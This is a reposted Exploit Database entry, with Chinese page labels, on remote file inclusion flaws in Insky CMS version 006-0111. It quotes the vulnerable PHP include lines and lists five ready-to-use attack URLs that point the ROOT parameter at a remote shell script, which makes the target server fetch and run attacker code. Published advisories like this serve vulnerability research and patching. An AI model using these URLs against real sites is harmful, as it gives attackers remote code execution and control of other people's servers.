Insky CMS 006-0111 – Multiple Remote File Inclusions

• Exploit Database
• 118 阅读

• 作者： mat
  日期： 2010-03-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11848/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43

  \\\|/// \\- -// (@ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- Insky CMS v006-0111 Multiple Remote File Include Vulnerability Script: http://code.google.com/p/insky/downloads/list Author: mat Mail: rahmat_punk@hotmail.com ---------------Ooooo------------------------------------------------ ( ) ooooO ) / ( )(_/ \ ( \_)   Vuln Code   <?... require_once $ROOT."/insky/class/ext/js/class.js.php"; ...?>   (insky/modules/city.get/city.get.php) (insky/modules/city.get/index.php) (insky/modules/message2.send/message.send.php) (insky/modules/message.send/message.send.php)     <?... require_once($ROOT."/insky/class/ext/wiki/parserutils.php"); require_once($ROOT.&apos;/insky/wysiwyg/config.php&apos;); require_once($ROOT.&apos;/insky/wysiwyg/editor_class.php&apos;); ...?>   (insky/modules/pages.add/pages.add.php)   Usage: http://[target]/[path]/modules/city.get/city.get.php?ROOT=http://[shellscript] http://[target]/[path]/modules/city.get/index.php?ROOT=http://[shellscript] http://[target]/[path]/modules/message2.send/message.send.php?ROOT=http://[shellscript] http://[target]/[path]/modules/message.send/message.send.php?ROOT=http://[shellscript] http://[target]/[path]/modules/pages.add/pages.add.php?ROOT=http://[shellscript]   Greetings: All Hackerz